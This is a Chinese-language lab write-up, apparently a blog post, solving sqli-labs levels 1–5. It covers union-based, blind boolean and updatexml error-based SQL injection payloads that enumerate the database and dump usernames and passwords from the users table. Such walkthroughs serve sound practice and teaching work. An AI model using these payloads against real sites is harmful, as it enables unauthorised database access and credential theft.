目录

sql-labs-less-1-5wp

sql-labs less-1-5wp

less-1

判断列数

使用注释符可以将报错信息注释掉

https://i-blog.csdnimg.cn/img_convert/2a81111e0cfe0dae946cb0f228629ca6.png

2,3列回显,第一列不回显所以我们不使用它,但是要存在,因为需要和union保持前后列数一致

https://i-blog.csdnimg.cn/img_convert/c4e14c51913c5737b98677c57cf3f532.png

查找数据库和版本信息

数据库: security

https://i-blog.csdnimg.cn/img_convert/77bf31d4e3b9e8ac398ca73c0e4e45ec.png

?id=-1' union select 1,version(),database() --+

查找数据库中的表

表: emails,referers,uagents,users

https://img-home.csdnimg.cn/images/20230724024159.png?origin_url=C%3A%5CUsers%5C%E8%BD%A8%E8%BF%B9%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20250310112518617.png&pos_id=img-La4dDY2i-1741866614408

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security" --+

爆破users表的列

列: id,username,password

https://i-blog.csdnimg.cn/img_convert/640721580fb0941ef1eeef23447562b9.png

?id=-1'  union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" --+

爆破xx表xx列的数据

https://i-blog.csdnimg.cn/img_convert/769e0142f6a931dc752f6fa43da2f3d3.png

-1' union select 1,group_concat(username),group_concat(pasword) from users#

Less-2

判断类型

因为**?id=2-1的值和1**相同,是数字型

$sql="select * from tables where id=1 ";

https://i-blog.csdnimg.cn/img_convert/abd2deb7174ca5022984b119acfc6d26.png

判断注释符和回显点

2,3列回显

https://i-blog.csdnimg.cn/img_convert/8015ca7c85c0307fd415f91140b50893.png

爆破

数据库和版本信息

https://i-blog.csdnimg.cn/img_convert/0767f9dc5b2eb690bd4207f23884aa2c.png

爆破security数据库的表

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security"

https://i-blog.csdnimg.cn/img_convert/04d95d2f2f8e61f147f9354ca2fdb7c8.png

爆破users表的列名

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"

https://i-blog.csdnimg.cn/img_convert/f536c3d815d3610b979f5a6f999db023.png

爆破表中数据

?id=-1 union select 1,group_concat(username),group_concat(password) from users

https://i-blog.csdnimg.cn/img_convert/8702b0bce3f0f7bbe55e93fde0dc602e.png

Less-3

判断类型

输入2-1还是2的结果,字符型注入

https://i-blog.csdnimg.cn/img_convert/86c6802ee3553f1aad8d81680e6c939c.png

判断注释符和回显点

可以看到报错信息

https://i-blog.csdnimg.cn/img_convert/f0f10d44e13fc47a8bbf31cc0b52d6ce.png

需要使用 引号和) 报错,注释符 %23

https://i-blog.csdnimg.cn/img_convert/eadef4d7d5351c86bd86644a996f009e.png

利用方式闭合,一共有3列,回显点 2,3列

https://i-blog.csdnimg.cn/img_convert/991fc97e8925d321eb71b5a2a9f057e2.png

爆破

爆破版本号和数据库

?id=-1') union select 1,version(),database() %23

https://i-blog.csdnimg.cn/img_convert/408c4ef0a28cdfe1de76e28ec881c5e3.png

爆数据库下的表

拿到几个数据表

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security" %23

https://i-blog.csdnimg.cn/img_convert/a04d50b83b5bd766629f82a51b8f50db.png

爆表下的列

拿到3个数据列

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" %23

https://i-blog.csdnimg.cn/img_convert/e0bea894aa8ec8abcee3f3e5b1b8d9e1.png

爆xx列的数据

拿到数据

?id=-1') union select 1,group_concat(username),group_concat(password) from users %23

https://i-blog.csdnimg.cn/img_convert/32bc68ca3ad13ad4108d0d0f1ee92b96.png

Less-4

观察报错信息

 '"1"")  #闭合方式为后面两个字符,即我们传入的双引号之后  ")

https://i-blog.csdnimg.cn/img_convert/498b635a9012d7aae979a940ce05c914.png

与less-3相比,闭合方式发生了变化

https://i-blog.csdnimg.cn/img_convert/251e66923b731d95291100fe154bfa6c.png

Less-5(盲注)

判断类型和注释符

无论输入什么,都是回显这个,除非是报错信息

https://i-blog.csdnimg.cn/img_convert/7084c330609210e73a2170c2f7f71df5.png

看看注入类型,字符型

https://i-blog.csdnimg.cn/img_convert/2fa8c846719181754adcd8f51b8795f8.png

报错回显如下,双引号不报错,单引号报错

$sql="select * from xxx where $id="" ";

https://i-blog.csdnimg.cn/img_convert/b6a44428111ceaa576aeb5f9d2d6f276.png

因为网页只回显次信息和报错信息,故初步判断,后端会接收前端的结果然后判断是true还是flase,然后处理回显,故是 bool 注入

可以利用**–+**注释

https://i-blog.csdnimg.cn/img_convert/b0ec967b725890a142d6710d1c4d93bb.png

判断列数和回显点

利用 order by 判断为 4 报错

https://i-blog.csdnimg.cn/img_convert/edb8c331c77d193694a47e9ca823f3be.png

可以看到有 3列

https://i-blog.csdnimg.cn/img_convert/ae1b49c99b63825bda8bd336f48ada91.png

使用union判断回显点,但是只返回次字符串

https://i-blog.csdnimg.cn/img_convert/0ae664f620c055e56a450d03d289afb8.png

盲注攻击

攻击流程如下

#判断数据库名长度
?id=1' and length(database())>=1 --+
?id=1' and length(database())>=10 --+
?id=1' and length(database())>=5 --+
?id=1' and length(database())>=7 --+
?id=1' and length(database())>=9 --+   #报错,说明长度为8

#数据库名称爆破    security
?id=1' and substr(database(),1,1)='d' --+  #匹配子字符串,从第一位开始提取1位
?id=1' and substr(database(),2,1)='sa' --+  #从第2位开始提取1位
....剩下的burp爆破即可

#爆破数据表名
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a'--+  #limit限制字符长度,后续一个个爆破即可
?id=1' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='a'--+     #查看users表下的列名
?id=1' and substr((select username from security.users limit 0,1),1,1)='c'--+   #查询列下的数据

成功回显,说明输入是正确的

https://i-blog.csdnimg.cn/img_convert/ee9a513c45d24cb37dba9dabf96f6c7e.png

无回显,说明数据库 长度为8 ,即小于9

https://i-blog.csdnimg.cn/img_convert/9397ca3a4231c0ec8db148ceef37fcad.png

为8

https://i-blog.csdnimg.cn/img_convert/baa6f5088ed42b3900baf9f4e6331b58.png

判断数据库名称

无回显,说明第一个字符不位d

https://i-blog.csdnimg.cn/img_convert/2a518c0fe03d17a307c469e886254d79.png

抓包添加变量,准备爆破

https://i-blog.csdnimg.cn/img_convert/952c0a6b54e55abb854c7735df10b98d.png

成功爆破出第一个字符 s

https://i-blog.csdnimg.cn/img_convert/6b5e5022767585925bde66b679604dbf.png

剩下的字符一个个爆破即可

报错注入

# ?id=1' and 跟语句
updatexml(1,concat(0x7e,(database()),0x7e),1),查看当前库,0x7e是’~'十六进制转化的结果,用来分割我们的结果
updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1),查看se库下面的第一张表
updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1),查看users表下面的第一个字段
updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1),查看users字段下面的password字段

如下,查到数据库

https://i-blog.csdnimg.cn/img_convert/4ef9c3010a5ea5c0347fd6a3da9eb043.png

查询表名,可以看到每次只能返回一个结果,需要调节查询字段,(第0位开始,查询两字符)

https://i-blog.csdnimg.cn/img_convert/8335a1d1964434aa6c38b41bc13a04be.png

查询其他表名

https://i-blog.csdnimg.cn/img_convert/3cb3c6e5a6ce00ed3c7ab93598238c09.png

查询users表下的字段

https://i-blog.csdnimg.cn/img_convert/508774809e74e94bed33c091ef9080e1.png

查询字段下的数据

https://i-blog.csdnimg.cn/img_convert/f07d2c61a60dd4721706bc90b8fa7ba8.png